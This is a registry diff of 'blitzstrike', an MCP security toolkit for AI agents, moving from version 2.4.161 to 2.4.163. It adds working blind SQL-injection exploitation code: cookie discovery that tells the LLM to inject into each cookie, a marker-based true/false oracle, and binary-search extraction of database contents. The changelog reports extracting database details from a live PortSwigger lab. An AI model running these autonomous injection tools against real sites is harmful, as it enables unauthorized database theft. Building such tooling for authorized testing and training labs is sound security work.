blitzstrike 2.4.161 → 2.4.163
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +28 -0
- package/dist/index.js +111 -30
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,34 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.163] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — cookie discovery in live_recon (hint-free injection surface)
|
|
11
|
+
|
|
12
|
+
- `live_recon` now reports cookies as name+value pairs (`cookies` field) parsed
|
|
13
|
+
from the Set-Cookie header(s), plus a next-step telling the LLM to probe each
|
|
14
|
+
with `blind_sqli_confirm`/`blind_sqli_extract`. Cookies (e.g. PortSwigger's
|
|
15
|
+
`TrackingId`) are a first-class injection surface invisible to URL/param scans;
|
|
16
|
+
this lets the LLM discover a cookie-based blind-SQLi point WITHOUT the lab hint.
|
|
17
|
+
|
|
18
|
+
## [2.4.162] — 2026-10-11
|
|
19
|
+
|
|
20
|
+
### Added — binary-search extraction + marker oracle (blind SQLi)
|
|
21
|
+
|
|
22
|
+
- `blind_sqli_extract` now binary-searches the charset (≈6 requests/char) instead
|
|
23
|
+
of a full linear scan — via a `>` string-comparison template derived from the
|
|
24
|
+
`=` template (the trailing `--` already neutralizes the original closing quote).
|
|
25
|
+
Per-char equality verify + linear fallback keeps case-insensitive collations and
|
|
26
|
+
special chars correct.
|
|
27
|
+
- Added a `marker` option to `blind_sqli_confirm` + `blind_sqli_extract`: a text
|
|
28
|
+
that appears ONLY in the TRUE response (e.g. "Welcome back"). The boolean oracle
|
|
29
|
+
becomes marker-presence — robust against baseline page-size drift (PortSwigger
|
|
30
|
+
home drifts ~2.6KB between requests, which broke exact byte-count equality).
|
|
31
|
+
Byte-count fallback is now nearest-reference (closest to TRUE vs FALSE size).
|
|
32
|
+
- Verified end-to-end on a live PortSwigger blind-SQLi lab (TrackingId cookie,
|
|
33
|
+
PostgreSQL): confirm both channels + extract version="PostgreSQL",
|
|
34
|
+
database="academy_labs".
|
|
35
|
+
|
|
8
36
|
## [2.4.161] — 2026-10-11
|
|
9
37
|
|
|
10
38
|
### Added — Cookie injection support (blind SQLi)
|
package/dist/index.js
CHANGED
|
@@ -37159,6 +37159,26 @@ function extractParams(urls) {
|
|
|
37159
37159
|
}
|
|
37160
37160
|
return [...params];
|
|
37161
37161
|
}
|
|
37162
|
+
function extractCookieNames(headers) {
|
|
37163
|
+
const sc = headers["set-cookie"] ?? "";
|
|
37164
|
+
if (!sc)
|
|
37165
|
+
return [];
|
|
37166
|
+
const out = [];
|
|
37167
|
+
const seen = new Set;
|
|
37168
|
+
for (const part of sc.split(",")) {
|
|
37169
|
+
const seg = part.trim().split(";")[0].trim();
|
|
37170
|
+
const eq = seg.indexOf("=");
|
|
37171
|
+
if (eq <= 0)
|
|
37172
|
+
continue;
|
|
37173
|
+
const name = seg.slice(0, eq).trim();
|
|
37174
|
+
const value = seg.slice(eq + 1).trim();
|
|
37175
|
+
if (/^[A-Za-z0-9_.-]+$/.test(name) && !seen.has(name)) {
|
|
37176
|
+
seen.add(name);
|
|
37177
|
+
out.push({ name, value });
|
|
37178
|
+
}
|
|
37179
|
+
}
|
|
37180
|
+
return out;
|
|
37181
|
+
}
|
|
37162
37182
|
async function subdomainEnum(domain) {
|
|
37163
37183
|
const out = new Set;
|
|
37164
37184
|
try {
|
|
@@ -37481,6 +37501,7 @@ async function liveRecon(target, includeActive = false) {
|
|
|
37481
37501
|
const allUrls = [...links, ...scripts, ...robots, ...sitemap];
|
|
37482
37502
|
const crawl = { links, scripts, endpoints: [...new Set(allUrls)], robots, sitemap, count: allUrls.length };
|
|
37483
37503
|
const params = extractParams(allUrls);
|
|
37504
|
+
const cookies = extractCookieNames(root.headers);
|
|
37484
37505
|
const [subRes, dnsRes, waybackRes, apiRes] = await Promise.all([
|
|
37485
37506
|
subdomainEnum(host),
|
|
37486
37507
|
dnsBrute(host),
|
|
@@ -37519,6 +37540,8 @@ async function liveRecon(target, includeActive = false) {
|
|
|
37519
37540
|
nextSteps.push(`Found ${crawl.endpoints.length} endpoints — feed them to taint_file/blitz_scan for source analysis, or strike_verify for live validation.`);
|
|
37520
37541
|
if (params.length > 0)
|
|
37521
37542
|
nextSteps.push(`Discovered input params: ${params.join(", ")} — these are attack-surface entry points; fuzz them with payload_lookup after scope confirms.`);
|
|
37543
|
+
if (cookies.length > 0)
|
|
37544
|
+
nextSteps.push(`Discovered cookies: ${cookies.map((c) => c.name).join(", ")} — cookies are a first-class injection surface (blind SQLi / XSS / auth) invisible to URL/param scans; probe each with blind_sqli_confirm + blind_sqli_extract (cookie= param).`);
|
|
37522
37545
|
if (subdomains.length > 0)
|
|
37523
37546
|
nextSteps.push(`Found ${subdomains.length} subdomains — each is a separate scope surface; enumerate further with fofa_search.`);
|
|
37524
37547
|
if (dnsFindings.length > 0)
|
|
@@ -37545,6 +37568,7 @@ async function liveRecon(target, includeActive = false) {
|
|
|
37545
37568
|
suggested_surfaces: surfaces.map((s) => ({ id: s.id, name: s.name, high_value_tests: s.high_value_tests, matched_fingerprints: s.hits })),
|
|
37546
37569
|
crawl,
|
|
37547
37570
|
params,
|
|
37571
|
+
cookies,
|
|
37548
37572
|
subdomains,
|
|
37549
37573
|
dns_findings: dnsFindings,
|
|
37550
37574
|
wayback_urls: wayback,
|
|
@@ -62486,6 +62510,13 @@ function makeFetcher(base, param, method, bodyTpl, cookieName) {
|
|
|
62486
62510
|
return -1;
|
|
62487
62511
|
}
|
|
62488
62512
|
},
|
|
62513
|
+
async body(payload) {
|
|
62514
|
+
try {
|
|
62515
|
+
return await (await send(payload)).text();
|
|
62516
|
+
} catch {
|
|
62517
|
+
return "";
|
|
62518
|
+
}
|
|
62519
|
+
},
|
|
62489
62520
|
async time(payload) {
|
|
62490
62521
|
const t0 = Date.now();
|
|
62491
62522
|
await this.size(payload);
|
|
@@ -62499,17 +62530,29 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}
|
|
|
62499
62530
|
if (!p)
|
|
62500
62531
|
return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
|
|
62501
62532
|
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
|
|
62533
|
+
const marker = opts.marker ?? "";
|
|
62502
62534
|
let boolDiff = false, bt = -1, bf = -1;
|
|
62503
62535
|
let boolBypass = null;
|
|
62504
62536
|
const btv = oracleBypassVariants(p.oracle.boolean_true);
|
|
62505
62537
|
const bfv = oracleBypassVariants(p.oracle.boolean_false);
|
|
62506
62538
|
for (let i = 0;i < btv.length; i++) {
|
|
62507
|
-
const
|
|
62508
|
-
|
|
62509
|
-
if (
|
|
62539
|
+
const tP = `${value}${btv[i]}`, fP = `${value}${bfv[i]}`;
|
|
62540
|
+
let diff = false, tN = -1, fN = -1;
|
|
62541
|
+
if (marker) {
|
|
62542
|
+
const tb = await F.body(tP), fb = await F.body(fP);
|
|
62543
|
+
diff = tb.includes(marker) !== fb.includes(marker);
|
|
62544
|
+
tN = tb.length;
|
|
62545
|
+
fN = fb.length;
|
|
62546
|
+
} else {
|
|
62547
|
+
const t = await F.size(tP), f = await F.size(fP);
|
|
62548
|
+
diff = t >= 0 && f >= 0 && t !== f;
|
|
62549
|
+
tN = t;
|
|
62550
|
+
fN = f;
|
|
62551
|
+
}
|
|
62552
|
+
if (diff) {
|
|
62510
62553
|
boolDiff = true;
|
|
62511
|
-
bt =
|
|
62512
|
-
bf =
|
|
62554
|
+
bt = tN;
|
|
62555
|
+
bf = fN;
|
|
62513
62556
|
boolBypass = i === 0 ? null : btv[i];
|
|
62514
62557
|
break;
|
|
62515
62558
|
}
|
|
@@ -62572,22 +62615,37 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62572
62615
|
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
|
|
62573
62616
|
const getSize = (payload) => F.size(payload);
|
|
62574
62617
|
const getTime = (payload) => F.time(payload);
|
|
62618
|
+
const getBody = (payload) => F.body(payload);
|
|
62619
|
+
const marker = opts.marker ?? "";
|
|
62575
62620
|
const maxlen = opts.maxlen ?? 64;
|
|
62576
62621
|
let channel = opts.channel ?? "boolean";
|
|
62577
62622
|
const contexts = ["'", '"', "", "')", '")'];
|
|
62578
62623
|
let ctx = "'";
|
|
62579
|
-
let trueSize = -1;
|
|
62624
|
+
let trueSize = -1, falseSize = -1;
|
|
62625
|
+
let ctxFound = false;
|
|
62580
62626
|
if (channel === "boolean") {
|
|
62581
62627
|
for (const c of contexts) {
|
|
62582
|
-
const
|
|
62583
|
-
const
|
|
62584
|
-
if (
|
|
62585
|
-
|
|
62586
|
-
|
|
62587
|
-
|
|
62628
|
+
const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
|
|
62629
|
+
const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
|
|
62630
|
+
if (marker) {
|
|
62631
|
+
if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
|
|
62632
|
+
ctx = c;
|
|
62633
|
+
ctxFound = true;
|
|
62634
|
+
break;
|
|
62635
|
+
}
|
|
62636
|
+
} else {
|
|
62637
|
+
const t = await getSize(tp);
|
|
62638
|
+
const f = await getSize(fp);
|
|
62639
|
+
if (t >= 0 && f >= 0 && t !== f) {
|
|
62640
|
+
ctx = c;
|
|
62641
|
+
trueSize = t;
|
|
62642
|
+
falseSize = f;
|
|
62643
|
+
ctxFound = true;
|
|
62644
|
+
break;
|
|
62645
|
+
}
|
|
62588
62646
|
}
|
|
62589
62647
|
}
|
|
62590
|
-
if (
|
|
62648
|
+
if (!ctxFound)
|
|
62591
62649
|
channel = "time";
|
|
62592
62650
|
}
|
|
62593
62651
|
if (channel === "time") {
|
|
@@ -62601,16 +62659,24 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62601
62659
|
}
|
|
62602
62660
|
}
|
|
62603
62661
|
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
|
|
62662
|
+
const bsCharset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
62604
62663
|
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62605
62664
|
const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62606
|
-
const
|
|
62665
|
+
const isTrue = async (tpl, pos, ch) => {
|
|
62666
|
+
if (channel === "time")
|
|
62667
|
+
return await getTime(render(tpl, pos, ch)) > 600;
|
|
62668
|
+
if (marker)
|
|
62669
|
+
return (await getBody(render(tpl, pos, ch))).includes(marker);
|
|
62670
|
+
const s = await getSize(render(tpl, pos, ch));
|
|
62671
|
+
return s >= 0 && Math.abs(s - trueSize) <= Math.abs(s - falseSize);
|
|
62672
|
+
};
|
|
62607
62673
|
const variants = extractBypassVariants(baseTpl);
|
|
62608
62674
|
let tpl = variants[0];
|
|
62609
62675
|
let tplBypass = null;
|
|
62610
62676
|
for (const v of variants) {
|
|
62611
62677
|
let ok = false;
|
|
62612
62678
|
for (const ch of charset) {
|
|
62613
|
-
if (await
|
|
62679
|
+
if (await isTrue(v, 1, ch)) {
|
|
62614
62680
|
ok = true;
|
|
62615
62681
|
break;
|
|
62616
62682
|
}
|
|
@@ -62621,18 +62687,31 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62621
62687
|
break;
|
|
62622
62688
|
}
|
|
62623
62689
|
}
|
|
62690
|
+
const gtTpl = tpl.replace(/='\{char\}'/, ">'{char}'");
|
|
62691
|
+
const extractChar = async (pos) => {
|
|
62692
|
+
let lo = 0, hi = bsCharset.length - 1;
|
|
62693
|
+
while (lo < hi) {
|
|
62694
|
+
const mid = lo + hi >> 1;
|
|
62695
|
+
if (await isTrue(gtTpl, pos, bsCharset[mid]))
|
|
62696
|
+
lo = mid + 1;
|
|
62697
|
+
else
|
|
62698
|
+
hi = mid;
|
|
62699
|
+
}
|
|
62700
|
+
const ch = bsCharset[lo];
|
|
62701
|
+
if (await isTrue(tpl, pos, ch))
|
|
62702
|
+
return ch;
|
|
62703
|
+
for (const c of charset) {
|
|
62704
|
+
if (await isTrue(tpl, pos, c))
|
|
62705
|
+
return c;
|
|
62706
|
+
}
|
|
62707
|
+
return null;
|
|
62708
|
+
};
|
|
62624
62709
|
let out = "";
|
|
62625
62710
|
for (let pos = 1;pos <= maxlen; pos++) {
|
|
62626
|
-
|
|
62627
|
-
|
|
62628
|
-
if (await matches(tpl, pos, ch)) {
|
|
62629
|
-
found = ch;
|
|
62630
|
-
break;
|
|
62631
|
-
}
|
|
62632
|
-
}
|
|
62633
|
-
if (found === null)
|
|
62711
|
+
const ch = await extractChar(pos);
|
|
62712
|
+
if (ch === null)
|
|
62634
62713
|
break;
|
|
62635
|
-
out +=
|
|
62714
|
+
out += ch;
|
|
62636
62715
|
}
|
|
62637
62716
|
out = out.trimEnd();
|
|
62638
62717
|
return {
|
|
@@ -65414,10 +65493,11 @@ ${statusLine}` : statusLine },
|
|
|
65414
65493
|
dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
|
|
65415
65494
|
method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
|
|
65416
65495
|
body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')"),
|
|
65417
|
-
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)")
|
|
65496
|
+
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)"),
|
|
65497
|
+
marker: string2().optional().describe("Text that appears ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for pages whose size drifts; overrides byte-count")
|
|
65418
65498
|
}
|
|
65419
|
-
}, async ({ base_url, param, value, dbms, method, body, cookie }) => {
|
|
65420
|
-
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie })) }] };
|
|
65499
|
+
}, async ({ base_url, param, value, dbms, method, body, cookie, marker }) => {
|
|
65500
|
+
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie, marker })) }] };
|
|
65421
65501
|
});
|
|
65422
65502
|
server.registerTool("blind_sqli_extract", {
|
|
65423
65503
|
title: "Blind SQLi metadata extraction (autonomous)",
|
|
@@ -65434,10 +65514,11 @@ ${statusLine}` : statusLine },
|
|
|
65434
65514
|
index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
|
|
65435
65515
|
method: string2().optional().describe("'GET' (default) or 'POST'"),
|
|
65436
65516
|
body: string2().optional().describe("POST body template with {value} placeholder"),
|
|
65437
|
-
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')")
|
|
65517
|
+
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')"),
|
|
65518
|
+
marker: string2().optional().describe("Text appearing ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for size-drifting pages")
|
|
65438
65519
|
}
|
|
65439
|
-
}, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie }) => {
|
|
65440
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie })) }] };
|
|
65520
|
+
}, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie, marker }) => {
|
|
65521
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie, marker })) }] };
|
|
65441
65522
|
});
|
|
65442
65523
|
server.registerTool("oob_start", {
|
|
65443
65524
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.163",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|